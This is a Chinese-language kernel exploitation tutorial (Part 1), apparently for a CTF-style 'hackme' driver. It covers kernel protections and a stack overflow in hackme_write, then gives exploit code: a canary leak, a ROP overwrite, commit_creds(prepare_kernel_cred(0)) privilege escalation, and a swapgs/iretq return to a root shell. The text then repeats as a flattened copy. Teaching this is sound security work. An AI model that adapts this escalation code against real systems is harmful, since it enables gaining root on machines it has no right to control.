Linux Kernel Pwn Part 1
字数 937 2025-08-24 07:48:22

Linux Kernel Pwn 教学文档 - Part 1

内核保护机制

1. Kernel Stack Canaries

  • 类似于用户空间的栈保护机制
  • 内核编译时启用,无法禁用
  • 使用__readgsqword(0x28u)读取canary值

2. KASLR (Kernel Address Space Layout Randomization)

  • 类似于用户空间的ASLR
  • 每次开机随机化内核加载基地址
  • 控制方式:
    • 启用:-append选项添加kaslr
    • 禁用:-append选项添加nokaslr

3. SMEP (Supervisor Mode Execution Protection)

  • 内核模式下标记所有用户空间地址为不可执行
  • 由CR4寄存器的第20位控制
  • 控制方式:
    • 启用:-cpu选项指定+smep
    • 禁用:-append指定nosmep

4. SMAP (Supervisor Mode Access Prevention)

  • 类似于SMEP,但更严格
  • 内核模式下标记所有用户空间地址为不可读/写
  • 由CR4寄存器的第21位控制
  • 控制方式:
    • 启用:-cpu选项指定+smap
    • 禁用:-append指定nosmap

5. KPTI (Kernel Page Table Isolation)

  • 用户空间和内核空间的页表完全分离
  • 控制方式:
    • 启用:-append选项指定kpti=1
    • 禁用:-append选项指定nopti

漏洞利用示例

漏洞分析

ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off) {
    unsigned __int64 v4; // rdx
    ssize_t v5; // rbx
    int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
    unsigned __int64 v8; // [rsp+80h] [rbp-20h]

    v5 = v4;
    v8 = __readgsqword(0x28u);
    if (v4 > 0x1000) { // 大小检查
        _warn_printk("Buffer overflow detected (%d < %lu)!\n", 0x1000LL);
        BUG();
    }
    _check_object_size(hackme_buf, v4, 0LL);
    if (copy_from_user(hackme_buf, data, v5))
        return -14LL;
    _memcpy(tmp, hackme_buf, v5); // 缓冲区溢出漏洞
    return v5;
}

利用步骤

  1. 泄漏Canary
void leak_cookie() {
    unsigned long leak_info[0xa0/8];
    memset(leak_info, 0, sizeof(leak_info));
    size_t size = read(global_fd, leak_info, 0xa0);
    cookie = leak_info[0x80/8];
    printf("[*] Leak %zd bytes\n", size);
    printf("[*] Cookie: 0x%lx\n", cookie);
}
  1. 构造ROP链
void exploit() {
    unsigned long payload[0x100/8];
    unsigned long offset = 0x80/8;
    payload[offset++] = cookie;
    payload[offset++] = 0x0; // 三个填充
    payload[offset++] = 0x0;
    payload[offset++] = 0x0;
    payload[offset++] = (unsigned long)escalate_privs; // 控制流劫持
    size_t size = write(global_fd, payload, sizeof(payload));
}
  1. 提权函数
void escalate_privs() {
    __asm__(
        "movabs rax, 0xffffffff814c67f0;" // prepare_kernel_cred
        "xor rdi, rdi;"
        "call rax;"
        "mov rdi, rax;"
        "movabs rax, 0xffffffff814c6410;" // commit_creds
        "call rax;"
    );
}
  1. 返回用户空间
void save_state() {
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
}

void escalate_privs() {
    user_rip = (unsigned long)get_root_shell;
    __asm__(
        ".intel_syntax noprefix;"
        // ... 提权代码 ...
        "swapgs;" // 切换GS寄存器
        "mov r15, user_ss; push r15;"
        "mov r15, user_sp; push r15;"
        "mov r15, user_rflags; push r15;"
        "mov r15, user_cs; push r15;"
        "mov r15, user_rip; push r15;"
        "iretq;" // 返回用户空间
        ".att_syntax;"
    );
}

调试技巧

  1. QEMU+GDB调试
  • 启动QEMU时添加-s选项
  • GDB连接:
    gdb ./vmlinux
    target remote localhost:1234
    
  1. 查找符号地址
cat /proc/kallsyms | grep hackme_write
cat /proc/kallsyms | grep commit_creds
cat /proc/kallsyms | grep prepare_kernel_cred
  1. 设置断点
b* ffffffffc00710d0
c

关键点总结

  1. 内核ROP与用户空间ROP的区别:

    • 内核函数退出时需要三次pop操作
    • 需要在canary后添加三个padding
  2. 提权核心:

    commit_creds(prepare_kernel_cred(0));
    
  3. 返回用户空间关键:

    • 保存寄存器状态
    • 使用swapgs切换GS寄存器
    • 使用iretq指令返回用户空间
    • 需要正确设置RIP|CS|RFLAGS|SP|SS五个寄存器
  4. 符号地址获取:

    • 通过/proc/kallsyms获取
    • 需要root权限才能查看完整符号表
Linux Kernel Pwn 教学文档 - Part 1 内核保护机制 1. Kernel Stack Canaries 类似于用户空间的栈保护机制 内核编译时启用,无法禁用 使用 __readgsqword(0x28u) 读取canary值 2. KASLR (Kernel Address Space Layout Randomization) 类似于用户空间的ASLR 每次开机随机化内核加载基地址 控制方式: 启用: -append 选项添加 kaslr 禁用: -append 选项添加 nokaslr 3. SMEP (Supervisor Mode Execution Protection) 内核模式下标记所有用户空间地址为不可执行 由CR4寄存器的第20位控制 控制方式: 启用: -cpu 选项指定 +smep 禁用: -append 指定 nosmep 4. SMAP (Supervisor Mode Access Prevention) 类似于SMEP,但更严格 内核模式下标记所有用户空间地址为不可读/写 由CR4寄存器的第21位控制 控制方式: 启用: -cpu 选项指定 +smap 禁用: -append 指定 nosmap 5. KPTI (Kernel Page Table Isolation) 用户空间和内核空间的页表完全分离 控制方式: 启用: -append 选项指定 kpti=1 禁用: -append 选项指定 nopti 漏洞利用示例 漏洞分析 利用步骤 泄漏Canary 构造ROP链 提权函数 返回用户空间 调试技巧 QEMU+GDB调试 启动QEMU时添加 -s 选项 GDB连接: 查找符号地址 设置断点 关键点总结 内核ROP与用户空间ROP的区别: 内核函数退出时需要三次pop操作 需要在canary后添加三个padding 提权核心: 返回用户空间关键: 保存寄存器状态 使用 swapgs 切换GS寄存器 使用 iretq 指令返回用户空间 需要正确设置RIP|CS|RFLAGS|SP|SS五个寄存器 符号地址获取: 通过 /proc/kallsyms 获取 需要root权限才能查看完整符号表